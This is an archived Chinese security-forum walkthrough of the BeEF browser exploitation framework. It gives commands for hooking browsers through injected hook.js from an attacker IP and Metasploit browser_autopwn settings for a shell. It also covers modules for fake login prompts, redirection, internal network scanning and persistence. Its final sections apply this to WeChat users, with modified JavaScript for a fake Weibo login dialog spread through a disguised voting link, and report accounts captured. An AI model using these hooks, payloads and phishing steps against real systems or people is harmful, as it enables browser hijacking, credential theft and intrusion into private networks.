# 浏览器利用框架BeEF测试

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-10-23T02:18:00Z
Canonical: https://wepostx.com/topics/1130

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:845
> **原始发布时间：** 2015-10-23 10:18
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多，所以希望通过本次测试给大家带来全新的认识。

![原文图片](/media/2016/06/318401e1961dc75dda03d2ee2358c9b4)

# 0x01 简介

工具主页：[http://beefproject.com](http://beefproject.com)
工具框架:

![原文图片](/media/2016/06/4f71189465dab4c00721856274589eb7)

# 0x02 测试环境

攻击主机:

```text
操作系统:Kali 1.0 IP:192.168.16.245
```
测试主机:

```text
操作系统:Win7x86 IP:192.168.16.197
```
路由器：

```text
WooyunWifi 开启JS注入功能
```

![原文图片](/media/2016/06/9d8ec289311bb47f3d105f19fc140e6b)

Tips：

```text
WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码，如果JS代码设置成如下格式，那么运行后会在BeEF控制端返回一个shell document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>"); 默认情况下JS注入附带缓存投毒功能，将视图缓存所有的页面至2099年，但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。
```

![原文图片](/media/2016/06/535ea57159be2c8fbc54c97b0d1ae21a)

# 0x03 BeEF参数配置

BeEF在Kali下默认安装，直接找到对应图标启动即可，但是默认设置未同Metasploit关联，无法使用msf模块，因此需要作如下配置连接msf

## 1、修改config.yaml
编辑
/usr/share/beef-xss/config.yaml

```text
metasploit: enable: false改为true
```

![原文图片](/media/2016/06/82d14531d2255b3d66603fcbf09f760a)

编辑
/usr/share/beef-xss/extensions/demos/config.yaml

```text
enable:true改为false
```
编辑
/usr/share/beef-xss/extensions/metasploit/config.yaml

```text
设置 ssl: true ssl_version: 'TLSv1'
```

![原文图片](/media/2016/06/78a24b6d2555254316fe4d0325ac61b2)

## 2、启动msf服务

```text
service postgresql start service metasploit start msfconsole load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
```

## 3、运行BeEF.rb

```text
cd /usr/share/beef-xss/ /usr/share/beef-xss/beef
```
（启动后不要关闭，不然登录界面会提示密码错误）

![原文图片](/media/2016/06/8c5d14d00a267a4990081462c6c9c8b3)

## 4、启动BeEF
弹出浏览器，输入默认用户名口令beef，即可登陆
主界面如图

![原文图片](/media/2016/06/ea94bc12ffffd345270f18b06f8270c3)

# 0x04 功能介绍

对基本功能做全面介绍，高级用法以后会做补充

## 1-信息收集
1、浏览器信息 可收集：

```text
浏览器名称版本 浏览器用户版本 插件（包括Java，ActiveX，VBS，Flash……） 窗口大小
```
收集方法：
（1）自动默认收集信息
如图

![原文图片](/media/2016/06/a3fe9c16acf638228e25f50e838d9e95)

（2）插件收集信息
如图

![原文图片](/media/2016/06/eb668e5052733ed1c7034928a6601b3c)

Tips：

```text
模块图标不同颜色对应不同的使用效果 绿色：适用当前浏览器 橙色：适用当前浏览器，但易被用户发现，social engineering模块默认为橙色 红色：不适于当前浏览器，但仍可尝试
```
2、系统信息
可收集：

```text
安装的软件(适用于IE下，Detect Software模块) 注册表键值(适用于IE下，此时会弹出提示消息) 内网IP(Java模块得到授权) 系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式) 定位(通过Google maps) 剪贴板信息(会弹出提示消息)
```
如图

![原文图片](/media/2016/06/44271b13784241be8dc84e9761a33b43)

![原文图片](/media/2016/06/98a5b0f422b21b161727d3de91077a55)

![原文图片](/media/2016/06/a19d6d437d5c911199b2822636a4170a)

3、用户行为
可收集：

```text
用户是否访问过某URL、domain 是否登录特定网站账号 是否使用TOR
```
如图

![原文图片](/media/2016/06/bb4856d0088b1ca5d504687109c1841d)

## 2-社会工程
如果使用BeEF控制了浏览器，那么就可以修改整个页面来尝试社会工程学
1、提交登录信息
简单粗暴往往是最有效的
Pretty Theft模块:
在网页弹出诱骗消息需要用户输入登录和密码，并解释该会话已超时
选择的登录框模板,如图

![原文图片](/media/2016/06/91d8481f07a4869352f5e81eecb187b9)

配置后用户浏览器界面,如图

![原文图片](/media/2016/06/b3975144110eefcfc5efd29e5f7fae60)

当用户输入信息后，自动获取，如图

![原文图片](/media/2016/06/4f57c297a5d249aea6de030353d6e6c2)

Simple Hijacker模块:
劫持网页上面的所有链接，当用户点击任意链接时弹出诱骗消息，如果用户接着点击会跳转到指定域名
如图

![原文图片](/media/2016/06/fa0a4d800eb42d53f49251f93650c02c)

![原文图片](/media/2016/06/345e39c199200edbf0ac395bfc917c48)

Clippy模块：
创建一个浏览器助手提示用户点击
如图

![原文图片](/media/2016/06/82ce4d6758777302be58ff9f6bc8252a)

2、重定向
Rediret Browser模块：
将当前页面重定向至指定页面，有可能导致当前权限丢失
Rediret Browser(iframe)模块：
将当前页面重定向至指定页面，，同时保留当前连接，可以维持当前浏览器权限
如图

![原文图片](/media/2016/06/77002451f03299927e2e8b753e1970ce)

![原文图片](/media/2016/06/cb560eaef4d3d1e1300a97da8df1764b)

TabNabbing模块：
当检测用户不在当前页面时启动定时器，倒计时结束后自动重定向至指定页面
如图

![原文图片](/media/2016/06/5bd87b7144882df62105030fefe04514)

3、Chrome/Firefox extensions
Fake Flash Update模块：
提示用户安装Adobe Flash Player的更新，用户点击后会下载指定文件
如图

![原文图片](/media/2016/06/714c3635befb82f9f3e17dc4f79d3b23)

Chrome Extensions 系列：
值得尝试

![原文图片](/media/2016/06/7506a6b4ab834a81b17b6d4c16718799)

4、补充
Clickjacking模块：
可以使用multi-click clickjacking，判断当前用户鼠标位置，在不同位置可触发不同JS代码
如图，鼠标后面跟随一个iframe

![原文图片](/media/2016/06/263f333a901a1081c474d45c30c021f2)

![原文图片](/media/2016/06/86b92f55732206da878f962830415884)

## 3-网络扫描
通过JavaScript，可以尝试利用浏览器扫描内网
1、获取内网IP
Get Internal IP WebRTC模块：
通过WebRTC获取内网IP
Get Internal IP模块：
通过Java Socket class获取内网IP
2、识别局域网子网
识别内网网关，如图

![原文图片](/media/2016/06/57b047427b064389dc9c90dd14e63c0e)

3、识别HTTP Servers
识别内网web servers
4、ping操作
调用ping命令扫描内网
Ping Sweep模块 Ping Sweep (Java)模块
如图

![原文图片](/media/2016/06/1e200ab5665c4a3aaf8458ef163a3973)

5、跨域扫描
6、DNS枚举
如图

![原文图片](/media/2016/06/729c4ba09b789a4afba311378a052a04)

7、端口扫描
Port Scanner模块
如图

![原文图片](/media/2016/06/b873abd8df92d46fe805a39893f3e506)

![原文图片](/media/2016/06/885e3289e05d0bd5831341fb56ed0800)

8、网络指纹特征扫描
用来扫描内网中的Web服务器和网络设备
Fingerprint Network模块
如图

![原文图片](/media/2016/06/9b8ceeb9d47653530d11b235698977f8)

9、Remote CSRFs
10、IRC NAT Pinning
模拟浏览器的IRC通信，可用来绕过防火墙
11、网络拓扑
BeEF可根据扫描获得的信息绘制内网网络拓扑 如图

![原文图片](/media/2016/06/accd62505db611b347572f7e9e87cfe1)

![原文图片](/media/2016/06/f5d287fac9f0f3a7d057bb1bdce4fa78)

![原文图片](/media/2016/06/a92bebcd193deec56a60109a544a5a12)

此部分会在以后详细介绍

## 4-结合Metasploit
1、Metasploit系列模块
如图

![原文图片](/media/2016/06/591b7b17eb01eae31afb4927fbf9a5a4)

2、Browser Autopwn
反弹回meterpreter
方法：
（1）使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL

```text
use auxiliary/server/browser_autopwn show options set LHOST 192.168.16.245 set SRVHOST 192.168.16.245 set SRVPORT 8881 run -z
```
生成一个链接，如图

![原文图片](/media/2016/06/1ac876725dcc36ece2d574c70a98f646)

![原文图片](/media/2016/06/b0f05ff522b5bb4cd4cf71e18f5ef7a2)

（2）使用"Create Invisible Iframe"模块加载autopwn页面
如图

![原文图片](/media/2016/06/ebd78c54e0e0d6b96e9518cc6a8c32fc)

（3）等待弹回shell

```text
sessions -l
```

## 5-Tunneling
代理功能
方法：
1、选择控制的浏览器
如图

![原文图片](/media/2016/06/9357f8716dfdeb26ea1882a04875f0ec)

2、浏览器代理设置
HTTP Proxy：127.0.0.1
Port：6789
如图

![原文图片](/media/2016/06/7c4a9cde4d4c1a9cfdb4c52e19020c67)

细节以后补充
3、访问同样网站，查看本机浏览器页面同被控浏览器页面内容是否相同（即不需要cookie可实现登录账号）

## 6-XSS
如图

![原文图片](/media/2016/06/5a555ba4106b96607ec6e00607710eed)

细节以后补充

## 7-维持权限
1、Create Pop Under模块
创建一个新窗口，如图

![原文图片](/media/2016/06/805fa65726e37603c08ff5ee9917aeca)

反弹一个新权限，如图

![原文图片](/media/2016/06/a4475f312b4a92fef801968ef9e73260)

2、Confirm Close Tab模块
当用户关闭当前页面时，反复弹出确认是否关闭页面的消息
3、Create Foreground iFrame模块 修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接，会将新页面显示在当前页面上面，注意的是网址不会发送改变，如图：

![原文图片](/media/2016/06/9b9402ba4fbcbd0ba34e072a4a31b831)

正常访问的页面为：（注意看地址栏）

![原文图片](/media/2016/06/c406ed333b317af11ca35518af5fa263)

4、Man In The Browser模块
可拦截修改页面内所有链接，当用户点击当前页面的任意链接后仍可维持权限（必须是同源的页面）
如果用户手动更改URL地址栏，无法维持权限

# 0x05 小结

本文仅对BeEF的基本功能做了全面介绍，更多高级技巧很值得研究，例如利用BeEF内网渗透，利用代理不通过cookie登陆账户突破IP限制绑定等等。
测试过程难免会有疏忽遗漏，理解错误的地方欢迎指正，共同进步。
本文由三好学生原创并首发于乌云drops，转载请注明

# 0x06 补充

对手机平台的微信使用BeEF进行模拟测试
手机系统:

```text
Android
```

## 1、上线方法：
1、扫描二维码
扫描后在BeEF控制端看到手机上线，如图

![原文图片](/media/2016/06/3236c25770ef0be4e8804b6f94a631ef)

对此页面进行Google Phishing欺骗，如图

![原文图片](/media/2016/06/edc990877712c1687adc268d87b75f2c)

注：
在微信上面特别的地方在于此处无法看到包含的真实URL地址
2、朋友圈分享
将BeEF的上线地址做一下简单的伪装并分享到朋友圈，如图

![原文图片](/media/2016/06/a94f5c77b375f212c434acba26b4b49d)

在朋友圈中同样无法看到包含的真实URL地址，打开即为BeEF的hook页面，如图

![原文图片](/media/2016/06/dc4606152d0e253335ee5dcf7d6a8be6)

3、朋友发来的链接
将此消息直接发给朋友，如图

![原文图片](/media/2016/06/b1db54a77ace275290fd43e19ee86356)

我们可以看到伪造前的URL地址
注：
BeEF的hook页面可以自定义成更具欺骗性的内容，这是为了演示方便使用默认界面

## 2、微信浏览器被Hook后可以做哪些操作
也许有人会提出疑问：手机打开网址持续的时间很短，关闭当前页面后BeEF的shell就会下线
解决方法：
使用BeEF API，用户上线后能够自动执行批量命令，结合Persistence模块能够极大提高shell存活时间
除了与windows系统相关的信息无法获取，其他操作均能成功执行，并且BeEF为手机劫持提供了专门的模块系列——Phonegap，如图

![原文图片](/media/2016/06/6671dd319341d567ec82809c16593c13)

以下是经测试可以在Android上使用的模块：

```text
1、弹框 2、重定向 3、查看是否访问过某些网站 4、Creates an invisible iframe 5、Social Engineering系列，如下图，仅作演示 6、msf系列 7、NetWork系列，可以用来扫描同一内网下的windows主机
```

![原文图片](/media/2016/06/5f00a2db1b167b83bb104eb7a564e47b)

注：
加载hook页面后，将手机屏幕关闭处于待机状态，BeEF仍然可以执行指令，或许这与手机系统相关，值得以后深入测试。

# 0x07 利用朋友圈投票社工微博帐号实例

## 1、伪造BeEF的hook页面
1、寻找模板
随机找到一个投票的页面，保存为html

```text
http://mp.weixin.qq.com/s?__biz=MzA3MTM0NTgyNw==&mid=400240804&idx=1&sn=d87655d4c67a8f39fc84b3cdcb4c1895&scene=1&srcid=1024yDcPJI2to0i3DmiVmj1L&from=groupmessage&isappinstalled=0#rd
```
2、替换hook页面
在use/share/beef-xss/extensions/demos/html目录下，将上述html文件命名为basic.html并添加以下代码

```text
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>'; document.write(commandModuleStr);
```
如图

![原文图片](/media/2016/06/8bb5998b89aa7f2b903b3ac2632f9582)

![原文图片](/media/2016/06/05ca5dd5c6994645f4d628df7a066c2f)

上线页面已被修改

## 2、修改BeEFsocial_engineering模块
修改弹出对话框样式
将此文件use/share/beef-xss/modules/social_engineering/pretty_theft/command.js内容 对应部分替换如下：

```text
// Facebook floating div function facebook() { sneakydiv = document.createElement('div'); sneakydiv.setAttribute('id', 'popup'); sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background- color:ffffff;'); document.body.appendChild(sneakydiv); // Set appearance using styles, maybe cleaner way to do this with CSS block? var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border- radius:8px"'; var windowmain = 'style="border:1px #555 solid;"'; var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 18px;"'; var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"'; var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans- serif;margin:10px 15px;line-height:12px;height:40px;"'; var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"'; var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding- left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"'; var title = '微博手机版安全登录'; var messagewords = '请输入您的用户名密码登录后进行投票。<br/><br/>我们将对您的投票信息严格保密。'; var buttonLabel = '<input type="button" name="ok" value="登录" id="ok" ' +buttonstyle+ ' onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>'; // Build page including styles sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" ' +windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>邮箱/会员帐号/手机号: </div></td><td align="left"><input type="text" id="uname" value="" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>密码: </div></td><td align="left"><input type="password" id="pass" name="pass" onkeydown="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>'; // Repeatedly check if button has been pressed credgrabber = setInterval(checker,1000); }
```

## 3、实际操作
1、微信朋友圈发布投票消息，如图

![原文图片](/media/2016/06/bf01b49db50cd113914f68377efd590e)

用户点击后会打开我们伪造的投票页面，同时隐蔽加载hook.js，在BeEF端上线
2、在用户手机弹出模拟微博登录的对话框
如图执行Pretty Theft模块

![原文图片](/media/2016/06/398b5df7a750dbcd62ba50b5ff935999)

用户手机界面如图，弹出对话框提示输入登录消息

![原文图片](/media/2016/06/15d096c4d42da39223a9bc92be4ee84c)

BeEF控制端返回用户输入消息，如图

![原文图片](/media/2016/06/fad754f5ea0ae8b96ffe012236c2b301)

3、用户提交后重定向至另一页面
BeEF控制端使用Redirect Browser（iFrame）模块，如图

![原文图片](/media/2016/06/a5ff0511b6c4ec1f4ae2972d7d8736be)

用户手机界面如图

![原文图片](/media/2016/06/a7be73e3e762413ad0fc487afaff4968)

至此，通过朋友圈投票获得微博帐号成功实现。

## Replies
